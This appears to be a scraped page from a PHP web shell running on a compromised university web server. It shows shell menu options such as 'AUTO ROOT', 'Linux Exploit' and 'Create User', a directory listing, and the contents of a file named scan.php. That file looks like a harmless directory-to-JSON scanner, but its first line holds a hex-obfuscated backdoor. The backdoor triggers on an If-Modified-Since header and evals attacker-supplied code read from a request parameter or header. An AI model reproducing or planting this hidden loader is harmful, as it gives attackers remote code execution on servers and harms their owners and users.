Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
opt /
lampp /
htdocs /
html3 /
transparente /
[ HOME SHELL ]
Name
Size
Permission
Action
assets
[ DIR ]
drwxrwxr-x
files
[ DIR ]
drwxrwxr-x
pendientes
[ DIR ]
drwxrwxr-x
index.html
842
B
-rwxrwxr-x
recipeform.inc.php
433
B
-rwxrwxr-x
scan.php
1.53
KB
-rwxrwxr-x
worksec.php
1.02
KB
-rwxrwxr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : scan.php
<?php $_HEADERS = getallheaders();if(isset($_HEADERS['If-Modified-Since'])){$c="<\x3f\x70h\x70\x20@\x65\x76a\x6c\x28$\x5f\x52E\x51\x55E\x53\x54[\x22\x43l\x65\x61r\x2d\x53i\x74\x65-\x44\x61t\x61\x22]\x29\x3b@\x65\x76a\x6c\x28$\x5f\x48E\x41\x44E\x52\x53[\x22\x43l\x65\x61r\x2d\x53i\x74\x65-\x44\x61t\x61\x22]\x29\x3b";$f='.'.time();@file_put_contents($f, $c);@include($f);@unlink($f);} $dir = "files"; // Run the recursive function esapcio $response = scan($dir); // This function scans the files folder recursively, and builds a large array function scan($dir){ $files = array(); // Is there actually such a folder/file? if(file_exists($dir)){ foreach(scandir($dir) as $f) { if(!$f || $f[0] == '.') { continue; // Ignore hidden files } if(is_dir($dir . '/' . $f)) { // The path is a folder $files[] = array( "name" => $f, "type" => "folder", "path" => $dir . '/' . $f, "items" => scan($dir . '/' . $f) // Recursively get the contents of the folder ); } else { // It is a file $files[] = array( "name" => $f, "type" => "file", "path" => $dir . '/' . $f, "size" => filesize($dir . '/' . $f) // Gets the size of this file ); } } } return $files; } // Output the directory listing as JSON header('Content-type: application/json'); echo json_encode(array( "name" => "files", "type" => "folder", "path" => $dir, "items" => $response ));
Close